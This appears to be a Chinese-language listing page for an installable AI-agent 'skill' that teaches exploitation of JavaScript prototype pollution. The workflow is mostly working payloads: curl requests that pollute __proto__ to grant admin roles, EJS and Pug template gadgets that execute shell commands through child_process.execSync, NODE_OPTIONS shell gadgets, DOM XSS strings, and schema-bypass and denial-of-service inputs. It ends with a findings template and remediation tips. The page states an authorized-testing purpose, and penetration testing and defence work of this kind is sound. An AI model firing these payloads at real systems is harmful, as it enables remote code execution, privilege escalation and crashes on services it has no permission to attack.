mcpField
E
exploiting-prototype-pollution-in-javascript

exploiting-prototype-pollution-in-javascript

github.com/mukul975安全35.2k227 次安装8 周前更新
代码仓库

关于 exploiting-prototype-pollution-in-javascript

用于发现和评估 Web 应用及 Node.js 服务中 JavaScript 原型污染的安全测试技能。它引导获授权的测试人员查找污染源、评估客户端和服务端影响,并使用自动化检测工具。

主要功能

  1. 01查找原型污染源
  2. 02测试服务端输入
  3. 03评估 DOM XSS 利用点
  4. 04检查服务端影响
  5. 05使用自动化检测

适用场景

  1. 01审查深度合并 API 端点
  2. 02测试浏览器框架中的 DOM XSS
  3. 03审计 npm 包中的利用点
  4. 04检查授权与验证风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-prototype-pollution-in-javascript

安装后在 Claude Code 中输入/exploiting-prototype-pollution-in-javascript确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

利用 JavaScript 中的原型污染

何时使用

  • 测试 Node.js 或 JavaScript 密集型 Web 应用时
  • 评估接受深度合并 JSON 对象的 API 期间
  • 测试客户端 JavaScript 框架是否存在通过原型污染触发的 DOM XSS 时
  • 对对象 merge/clone/extend 操作进行代码审查期间
  • 评估 npm 包是否存在原型污染 gadget 时

前置条件

  • 安装 DOM Invader 扩展的 Burp Suite,用于客户端原型污染检测
  • 用于服务端测试的 Node.js 开发环境
  • 理解 JavaScript 原型链与对象继承
  • 了解常见污染 gadget(源、汇聚点及可利用属性)
  • 用于服务端检测的 Prototype Pollution Gadgets Scanner Burp 扩展
  • 用于客户端原型操纵的浏览器开发者控制台

法律声明: 本技能仅用于经授权的安全测试与教育目的。未经授权对您不拥有或未获得书面许可测试的系统使用属违法行为,可能违反计算机欺诈相关法律。

工作流

步骤 1 — 识别原型污染源
// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true

// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed

// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value

// Hash fragment pollution:
// http://target.com/#__proto__[key]=value
步骤 2 — 测试服务端原型污染
# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true}}'

# Test via constructor.prototype
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# Test for status code reflection (detection technique)
# Pollute status property to detect server-side pollution
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"status": 510}}'
# If response returns 510, server-side pollution confirmed

# JSON content type pollution
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
步骤 3 — 利用客户端实现 DOM XSS
// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink

// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>

// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//

// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG

// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinks
步骤 4 — 利用服务端实现 RCE
# Node.js child_process gadget (RCE)
# If application calls child_process.execSync(), spawn(), or fork():
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'

# EJS template engine gadget
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'

# Handlebars template gadget
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'

# Pug template engine gadget
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'
步骤 5 — 利用实现身份验证与授权绕过
# Pollute isAdmin or role property
curl -X POST http://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true, "role": "admin"}}'

# Pollute auth-related properties
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"verified": true, "emailVerified": true}}'

# Bypass JSON schema validation
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"additionalProperties": true}}'
步骤 6 — 使用自动化工具检测
# Use ppfuzz for automated detection
ppfuzz -l urls.txt -o results.txt

# Nuclei templates for prototype pollution
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml

# Server-side detection with Burp Scanner
# Enable "Server-side prototype pollution" scan check
# Review issues in Burp Dashboard

# Manual detection via timing/error-based techniques
# Pollute a property that causes detectable server behavior change
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"toString": "polluted"}}'
# If server errors (500), pollution is working

核心概念

概念描述
原型链JavaScript 的继承机制,对象从 Object.prototype 继承
proto暴露对象原型的访问器属性
污染源允许在 Object.prototype 上设置属性的输入点
污染汇聚点读取被污染属性并执行危险操作的代码
Gadget从原型流向危险汇聚点的属性(源到汇聚点链路)
深度合并可能将 proto 作为常规键处理的递归对象合并函数
constructor.prototype访问并污染原型对象的替代路径

工具与系统

工具用途
DOM InvaderBurp Suite 内置工具,用于检测客户端原型污染
Prototype Pollution Gadgets Scanner用于服务端 gadget 检测的 Burp 扩展
ppfuzz自动化原型污染模糊测试工具
Nuclei带原型污染模板的基于模板的扫描器
server-side-prototype-pollution用于服务端检测的 Burp Scanner 检查项
ESLint security plugin对代码中原型污染模式进行静态分析

常见场景

  1. 通过分析脚本实现 DOM XSS — 污染 transport_url 属性,通过从原型读取 URL 的分析跟踪脚本注入 JavaScript
  2. 通过模板引擎实现 RCE — 利用 EJS/Pug/Handlebars gadget,通过被污染的模板渲染属性执行任意命令
  3. 管理员权限提升 — 污染 isAdmin 或 role 属性,绕过 Node.js 应用中的授权检查
  4. JSON Schema 绕过 — 污染 schema 验证属性,绕过输入验证并注入恶意数据
  5. 拒绝服务 — 污染 toString 或 valueOf,在对象被强制转换为原始值时使应用崩溃

输出格式

## Prototype Pollution Assessment Report
- **Target**: http://target.com
- **Type**: Server-Side Prototype Pollution
- **Impact**: Remote Code Execution via EJS template gadget

### Findings
| # | Source | Gadget | Sink | Impact |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | Template render | RCE |
| 2 | POST /api/profile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |
| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |

### Remediation
- Use Object.create(null) for configuration objects instead of {}
- Freeze Object.prototype with Object.freeze(Object.prototype)
- Sanitize __proto__ and constructor keys in user input
- Use Map instead of plain objects for user-controlled data
- Update vulnerable npm packages (lodash, merge-deep, etc.)

评论

支持 Markdown